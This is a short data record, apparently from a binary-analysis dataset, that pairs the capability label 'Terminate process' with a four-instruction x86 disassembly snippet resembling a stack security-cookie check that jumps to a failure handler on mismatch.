Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x46cd48]
jne 0x438ed0
repz ret
jmp fcn.0043d49c